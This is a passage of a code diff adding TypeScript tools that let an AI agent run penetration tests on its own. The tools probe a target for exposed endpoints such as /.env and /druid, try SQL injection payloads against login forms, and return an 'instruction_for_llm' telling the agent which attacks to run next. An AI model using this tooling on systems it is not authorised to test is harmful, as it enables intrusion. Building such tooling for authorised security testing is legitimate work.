1876
|
+
| 项目 | 内容 |
|
|
1877
|
+
|------|------|
|
|
1878
|
+
| **目标** | ${args.target} |
|
|
1879
|
+
| **测试日期** | ${args.test_date || new Date().toISOString().split('T')[0]} |
|
|
1880
|
+
| **测试人员** | ${args.tester || "安全测试团队"} |
|
|
1881
|
+
| **整体风险** | ${overallRisk} |
|
|
1882
|
+
| **风险评分** | ${riskScore}/100 |
|
|
1883
|
+
|
|
1884
|
+
### 漏洞统计
|
|
1885
|
+
| 严重程度 | 数量 |
|
|
1886
|
+
|---------|------|
|
|
1887
|
+
| 🔴 Critical | ${criticalCount} |
|
|
1888
|
+
| 🟠 High | ${highCount} |
|
|
1889
|
+
| 🟡 Medium | ${mediumCount} |
|
|
1890
|
+
| 🟢 Low | ${lowCount} |
|
|
1891
|
+
| ℹ️ Info | ${infoCount} |
|
|
1892
|
+
|
|
1893
|
+
## 2. 漏洞详情
|
|
1894
|
+
|
|
1895
|
+
${args.findings.map((f, i) => `
|
|
1896
|
+
### 2.${i + 1} ${f.title}
|
|
1897
|
+
|
|
1898
|
+
| 属性 | 值 |
|
|
1899
|
+
|------|------|
|
|
1900
|
+
| **严重程度** | ${f.severity} |
|
|
1901
|
+
| **描述** | ${f.description} |
|
|
1902
|
+
|
|
1903
|
+
#### 证据
|
|
1904
|
+
\`\`\`
|
|
1905
|
+
${f.evidence}
|
|
1906
|
+
\`\`\`
|
|
1907
|
+
|
|
1908
|
+
#### PoC (概念验证)
|
|
1909
|
+
\`\`\`bash
|
|
1910
|
+
${f.poc}
|
|
1911
|
+
\`\`\`
|
|
1912
|
+
|
|
1913
|
+
#### 修复建议
|
|
1914
|
+
${f.remediation}
|
|
1915
|
+
`).join("\n")}
|
|
1916
|
+
|
|
1917
|
+
## 3. 修复优先级
|
|
1918
|
+
|
|
1919
|
+
1. **立即修复**: ${criticalCount > 0 ? `${criticalCount} 个严重漏洞` : "无"}
|
|
1920
|
+
2. **尽快修复**: ${highCount > 0 ? `${highCount} 个高危漏洞` : "无"}
|
|
1921
|
+
3. **计划修复**: ${mediumCount > 0 ? `${mediumCount} 个中危漏洞` : "无"}
|
|
1922
|
+
|
|
1923
|
+
## 4. 免责声明
|
|
1924
|
+
|
|
1925
|
+
本报告仅供授权方参考,测试过程中未进行任何破坏性操作。
|
|
1926
|
+
`;
|
|
1927
|
+
|
|
1928
|
+
return report;
|
|
1929
|
+
},
|
|
1930
|
+
}),
|
|
1931
|
+
|
|
1932
|
+
// ========================================
|
|
1933
|
+
// 自主任务编排 + 测试规划
|
|
1934
|
+
// ========================================
|
|
1935
|
+
|
|
1936
|
+
// 渗透测试规划器 - 先规划后执行
|
|
1937
|
+
pentest_planner: tool({
|
|
1938
|
+
description: "渗透测试规划器。分析目标后生成结构化测试计划(Todo清单),包含优先级排序和依赖关系。参数: target(目标URL), scope(测试范围), depth(测试深度)",
|
|
1939
|
+
args: {
|
|
1940
|
+
target: tool.schema.string(),
|
|
1941
|
+
scope: tool.schema.enum(["full", "auth_only", "api_only", "infra_only", "quick"]).optional(),
|
|
1942
|
+
depth: tool.schema.enum(["surface", "deep", "stealth"]).optional(),
|
|
1943
|
+
custom_requirements: tool.schema.string().optional(),
|
|
1944
|
+
},
|
|
1945
|
+
async execute(args) {
|
|
1946
|
+
const target = args.target;
|
|
1947
|
+
const scope = args.scope || "full";
|
|
1948
|
+
const depth = args.depth || "surface";
|
|
1949
|
+
const requirements = args.custom_requirements || "";
|
|
1950
|
+
|
|
1951
|
+
// Phase 1: 侦察 - 快速探测目标
|
|
1952
|
+
const reconResults: Record<string, unknown> = {};
|
|
1953
|
+
|
|
1954
|
+
try {
|
|
1955
|
+
// 获取首页
|
|
1956
|
+
const homeResponse = await fetch(target, {
|
|
1957
|
+
headers: { "User-Agent": "Mozilla/5.0" },
|
|
1958
|
+
});
|
|
1959
|
+
reconResults.home_status = homeResponse.status;
|
|
1960
|
+
reconResults.content_type = homeResponse.headers.get("content-type");
|
|
1961
|
+
|
|
1962
|
+
// 获取 JS 文件列表
|
|
1963
|
+
const homeText = await homeResponse.text();
|
|
1964
|
+
const jsFiles = homeText.match(/\/js\/[^\s"]+\.js/g) || [];
|
|
1965
|
+
reconResults.js_files_count = jsFiles.length;
|
|
1966
|
+
reconResults.is_spa = homeText.includes("app.js") || homeText.includes("chunk~");
|
|
1967
|
+
reconResults.framework = homeText.includes("vue") ? "Vue.js"
|
|
1968
|
+
: homeText.includes("react") ? "React"
|
|
1969
|
+
: homeText.includes("angular") ? "Angular"
|
|
1970
|
+
: "Unknown";
|
|
1971
|
+
|
|
1972
|
+
// 检测 API 路径
|
|
1973
|
+
const apiPaths = homeText.match(/doUrl\("([^"]+)"/g) || [];
|
|
1974
|
+
reconResults.api_paths_found = apiPaths.length;
|
|
1975
|
+
|
|
1976
|
+
// 检测常见安全端点
|
|
1977
|
+
const securityChecks: Array<{ endpoint: string; status: number }> = [];
|
|
1978
|
+
const checkEndpoints = ["/api", "/swagger-ui.html", "/actuator/health", "/druid", "/.env"];
|
|
1979
|
+
for (const ep of checkEndpoints) {
|
|
1980
|
+
try {
|
|
1981
|
+
const checkUrl = new URL(ep, target).href;
|
|
1982
|
+
const resp = await fetch(checkUrl, { method: "HEAD" });
|
|
1983
|
+
securityChecks.push({ endpoint: ep, status: resp.status });
|
|
1984
|
+
} catch (e) {
|
|
1985
|
+
securityChecks.push({ endpoint: ep, status: 0 });
|
|
1986
|
+
}
|
|
1987
|
+
}
|
|
1988
|
+
reconResults.security_checks = securityChecks;
|
|
1989
|
+
|
|
1990
|
+
} catch (error) {
|
|
1991
|
+
reconResults.error = String(error);
|
|
1992
|
+
}
|
|
1993
|
+
|
|
1994
|
+
// Phase 2: 根据侦察结果生成测试计划
|
|
1995
|
+
const plan = generateTestPlan(target, scope, depth, reconResults, requirements);
|
|
1996
|
+
|
|
1997
|
+
return JSON.stringify(plan, null, 2);
|
|
1998
|
+
},
|
|
1999
|
+
}),
|
|
2000
|
+
|
|
2001
|
+
// 自主渗透测试引擎 - 自动 Hook 下一步 + 最优解选择
|
|
2002
|
+
auto_pentest: tool({
|
|
2003
|
+
description: "自主渗透测试引擎。自动执行侦察->规划->测试->验证全流程,根据每步结果自主选择下一步最优操作。参数: target(目标URL), max_steps(最大步骤数), mode(模式)",
|
|
2004
|
+
args: {
|
|
2005
|
+
target: tool.schema.string(),
|
|
2006
|
+
max_steps: tool.schema.number().optional(),
|
|
2007
|
+
mode: tool.schema.enum(["recon", "full", "stealth", "aggressive"]).optional(),
|
|
2008
|
+
focus: tool.schema.enum(["sqli", "auth", "idor", "xss", "all"]).optional(),
|
|
2009
|
+
},
|
|
2010
|
+
async execute(args) {
|
|
2011
|
+
const target = args.target;
|
|
2012
|
+
const maxSteps = args.max_steps || 10;
|
|
2013
|
+
const mode = args.mode || "full";
|
|
2014
|
+
const focus = args.focus || "all";
|
|
2015
|
+
|
|
2016
|
+
// 自主编排引擎状态
|
|
2017
|
+
const engineState = {
|
|
2018
|
+
target,
|
|
2019
|
+
mode,
|
|
2020
|
+
focus,
|
|
2021
|
+
current_phase: "recon" as string,
|
|
2022
|
+
step: 0,
|
|
2023
|
+
max_steps: maxSteps,
|
|
2024
|
+
findings: [] as Array<{ type: string; detail: string; severity: string }>,
|
|
2025
|
+
completed_tasks: [] as string[],
|
|
2026
|
+
next_actions: [] as string[],
|
|
2027
|
+
// 自主决策需要的数据
|
|
2028
|
+
recon_data: {} as Record<string, unknown>,
|
|
2029
|
+
api_endpoints: [] as string[],
|
|
2030
|
+
auth_required: false,
|
|
2031
|
+
tech_stack: [] as string[],
|
|
2032
|
+
};
|
|
2033
|
+
|
|
2034
|
+
// === Phase 1: 侦察 (自动) ===
|
|
2035
|
+
engineState.current_phase = "recon";
|
|
2036
|
+
engineState.step = 1;
|
|
2037
|
+
|
|
2038
|
+
// 1.1 获取首页
|
|
2039
|
+
try {
|
|
2040
|
+
const homeResponse = await fetch(target);
|
|
2041
|
+
const homeText = await homeResponse.text();
|
|
2042
|
+
|
|
2043
|
+
engineState.recon_data.home_status = homeResponse.status;
|
|
2044
|
+
engineState.recon_data.is_spa = homeText.includes("chunk~") || homeText.includes("app.");
|
|
2045
|
+
|
|
2046
|
+
// 检测技术栈
|
|
2047
|
+
if (homeText.includes("vue") || homeText.includes("Vue")) engineState.tech_stack.push("Vue.js");
|
|
2048
|
+
if (homeText.includes("element-ui")) engineState.tech_stack.push("Element UI");
|
|
2049
|
+
if (homeText.includes("axios")) engineState.tech_stack.push("Axios");
|
|
2050
|
+
|
|
2051
|
+
// 提取 API 端点
|
|
2052
|
+
const apiMatches = homeText.match(/doUrl\("([^"]+)"/g) || [];
|
|
2053
|
+
engineState.api_endpoints = apiMatches.map((m: string) => {
|
|
2054
|
+
const match = m.match(/"([^"]+)"/);
|
|
2055
|
+
return match ? match[1] : "";
|
|
2056
|
+
}).filter(Boolean);
|
|
2057
|
+
|
|
2058
|
+
engineState.recon_data.api_count = engineState.api_endpoints.length;
|
|
2059
|
+
} catch (error) {
|
|
2060
|
+
engineState.findings.push({
|
|
2061
|
+
type: "recon_error",
|
|
2062
|
+
detail: String(error),
|
|
2063
|
+
severity: "Info",
|
|
2064
|
+
});
|
|
2065
|
+
}
|
|
2066
|
+
|
|
2067
|
+
// 1.2 提取 JS 中的端点 (如果有主 JS 文件)
|
|
2068
|
+
try {
|
|
2069
|
+
const jsUrl = new URL("/js/app.6ae9dcec.js", target).href;
|
|
2070
|
+
const jsResponse = await fetch(jsUrl);
|
|
2071
|
+
if (jsResponse.status === 200) {
|
|
2072
|
+
const jsText = await jsResponse.text();
|
|
2073
|
+
const doUrlMatches = jsText.match(/doUrl\("([^"]+)"/g) || [];
|
|
2074
|
+
const additionalEndpoints = doUrlMatches.map((m: string) => {
|
|
2075
|
+
const match = m.match(/"([^"]+)"/);
|
|
2076
|
+
return match ? match[1] : "";
|
|
2077
|
+
}).filter(Boolean);
|
|
2078
|
+
|
|
2079
|
+
engineState.api_endpoints = [...new Set([...engineState.api_endpoints, ...additionalEndpoints])];
|
|
2080
|
+
}
|
|
2081
|
+
} catch (e) {
|
|
2082
|
+
// Ignore JS extraction errors
|
|
2083
|
+
}
|
|
2084
|
+
|
|
2085
|
+
engineState.completed_tasks.push("recon_homepage");
|
|
2086
|
+
engineState.completed_tasks.push("recon_js_analysis");
|
|
2087
|
+
engineState.completed_tasks.push("recon_api_discovery");
|
|
2088
|
+
|
|
2089
|
+
// === Phase 2: 根据侦察结果自主决策下一步 ===
|
|
2090
|
+
engineState.current_phase = "analysis";
|
|
2091
|
+
engineState.step = 2;
|
|
2092
|
+
|
|
2093
|
+
// 2.1 检测认证需求
|
|
2094
|
+
const authEndpoints = engineState.api_endpoints.filter((ep: string) =>
|
|
2095
|
+
!ep.includes("login") && !ep.includes("doLogin")
|
|
2096
|
+
);
|
|
2097
|
+
|
|
2098
|
+
if (authEndpoints.length > 0) {
|
|
2099
|
+
const testUrl = new URL(authEndpoints[0], target).href;
|
|
2100
|
+
try {
|
|
2101
|
+
const testResponse = await fetch(testUrl, {
|
|
2102
|
+
method: "POST",
|
|
2103
|
+
headers: { "Content-Type": "application/json" },
|
|
2104
|
+
body: JSON.stringify({}),
|
|
2105
|
+
});
|
|
2106
|
+
engineState.auth_required = testResponse.status === 401 || testResponse.status === 403;
|
|
2107
|
+
} catch (e) {
|
|
2108
|
+
// Ignore
|
|
2109
|
+
}
|
|
2110
|
+
}
|
|
2111
|
+
|
|
2112
|
+
engineState.completed_tasks.push("auth_detection");
|
|
2113
|
+
|
|
2114
|
+
// === Phase 3: 自动选择最优解并生成下一步行动 ===
|
|
2115
|
+
engineState.current_phase = "planning";
|
|
2116
|
+
engineState.step = 3;
|
|
2117
|
+
|
|
2118
|
+
const nextActions = decideNextActions(engineState);
|
|
2119
|
+
engineState.next_actions = nextActions;
|
|
2120
|
+
|
|
2121
|
+
// === Phase 4: 执行关键测试 ===
|
|
2122
|
+
engineState.current_phase = "testing";
|
|
2123
|
+
|
|
2124
|
+
// 4.1 测试登录接口 (如果有)
|
|
2125
|
+
const loginEndpoint = engineState.api_endpoints.find((ep: string) =>
|
|
2126
|
+
ep.includes("login") || ep.includes("doLogin")
|
|
2127
|
+
);
|
|
2128
|
+
|
|
2129
|
+
if (loginEndpoint) {
|
|
2130
|
+
engineState.step = 4;
|
|
2131
|
+
const loginUrl = new URL(loginEndpoint, target).href;
|
|
2132
|
+
|
|
2133
|
+
// 测试参数验证
|
|
2134
|
+
try {
|
|
2135
|
+
const emptyResponse = await fetch(loginUrl, {
|
|
2136
|
+
method: "POST",
|
|
2137
|
+
headers: { "Content-Type": "application/json" },
|
|
2138
|
+
body: JSON.stringify({}),
|
|
2139
|
+
});
|
|
2140
|
+
const emptyText = await emptyResponse.text();
|
|
2141
|
+
|
|
2142
|
+
if (emptyText.includes("ARGUMENT_NULL") || emptyText.includes("验证失败")) {
|
|
2143
|
+
engineState.findings.push({
|
|
2144
|
+
type: "info_leakage",
|
|
2145
|
+
detail: `登录接口参数验证泄露: ${emptyText.substring(0, 100)}`,
|
|
2146
|
+
severity: "Low",
|
|
2147
|
+
});
|
|
2148
|
+
}
|
|
2149
|
+
} catch (e) {
|
|
2150
|
+
// Ignore
|
|
2151
|
+
}
|
|
2152
|
+
|
|
2153
|
+
// SQL 注入快速测试
|
|
2154
|
+
try {
|
|
2155
|
+
const sqliPayloads = ["' OR '1'='1", "admin'--", "1' AND SLEEP(3)--"];
|
|
2156
|
+
for (const payload of sqliPayloads) {
|
|
2157
|
+
const sqliResponse = await fetch(loginUrl, {
|
|
2158
|
+
method: "POST",
|
|
2159
|
+
headers: { "Content-Type": "application/json" },
|
|
2160
|
+
body: JSON.stringify({ loginName: payload, password: "test" }),
|
|
2161
|
+
});
|
|
2162
|
+
const sqliText = await sqliResponse.text();
|
|
2163
|
+
|
|
2164
|
+
if (sqliText.toLowerCase().includes("sql") || sqliText.toLowerCase().includes("syntax")) {
|
|
2165
|
+
engineState.findings.push({
|
|
2166
|
+
type: "sqli",
|
|
2167
|
+
detail: `SQL 注入可能存在: payload=${payload}, response=${sqliText.substring(0, 100)}`,
|
|
2168
|
+
severity: "High",
|
|
2169
|
+
});
|
|
2170
|
+
break;
|
|
2171
|
+
}
|
|
2172
|
+
}
|
|
2173
|
+
} catch (e) {
|
|
2174
|
+
// Ignore
|
|
2175
|
+
}
|
|
2176
|
+
|
|
2177
|
+
engineState.completed_tasks.push("test_login_sqli");
|
|
2178
|
+
}
|
|
2179
|
+
|
|
2180
|
+
// === Phase 5: 生成最终报告 ===
|
|
2181
|
+
engineState.current_phase = "report";
|
|
2182
|
+
engineState.step = 5;
|
|
2183
|
+
|
|
2184
|
+
const result = {
|
|
2185
|
+
status: "completed",
|
|
2186
|
+
target: engineState.target,
|
|
2187
|
+
mode: engineState.mode,
|
|
2188
|
+
focus: engineState.focus,
|
|
2189
|
+
total_steps: engineState.step,
|
|
2190
|
+
max_steps: engineState.max_steps,
|
|
2191
|
+
|
|
2192
|
+
// 侦察摘要
|
|
2193
|
+
recon_summary: {
|
|
2194
|
+
tech_stack: engineState.tech_stack,
|
|
2195
|
+
api_endpoints_found: engineState.api_endpoints.length,
|
|
2196
|
+
is_spa: engineState.recon_data.is_spa,
|
|
2197
|
+
auth_required: engineState.auth_required,
|
|
2198
|
+
},
|
|
2199
|
+
|
|
2200
|
+
// 发现的漏洞
|
|
2201
|
+
findings: engineState.findings,
|
|
2202
|
+
findings_count: engineState.findings.length,
|
|
2203
|
+
|
|
2204
|
+
// 已完成的任务
|
|
2205
|
+
completed_tasks: engineState.completed_tasks,
|
|
2206
|
+
|
|
2207
|
+
// 推荐的下一步行动 (自主 Hook)
|
|
2208
|
+
recommended_next_actions: nextActions.map((action, i) => ({
|
|
2209
|
+
step: i + 1,
|
|
2210
|
+
action: action.name,
|
|
2211
|
+
tool: action.tool,
|
|
2212
|
+
params: action.params,
|
|
2213
|
+
reason: action.reason,
|
|
2214
|
+
priority: action.priority,
|
|
2215
|
+
})),
|
|
2216
|
+
|
|
2217
|
+
// LLM 应该执行的指令
|
|
2218
|
+
instruction_for_llm: nextActions.length > 0
|
|
2219
|
+
? `根据侦察结果,建议按以下顺序执行:\n${nextActions.map((a, i) => `${i + 1}. [${a.priority}] ${a.name} - 使用 ${a.tool}(${JSON.stringify(a.params)})\n 原因: ${a.reason}`).join("\n")}`
|
|
2220
|
+
: "所有自动化测试已完成,建议手动深入测试。",
|
|
2221
|
+
};
|
|
2222
|
+
|
|
2223
|
+
return JSON.stringify(result, null, 2);
|
|
2224
|
+
},
|
|
2225
|
+
}),
|
|
2226
|
+
|
|
2227
|
+
// ========================================
|
|
2228
|
+
// OpenCode 原生集成工具
|
|
1282
2229
|
// ========================================
|
|
1283
2230
|
// OpenCode 原生集成工具
|
|
1284
2231
|
// ========================================
|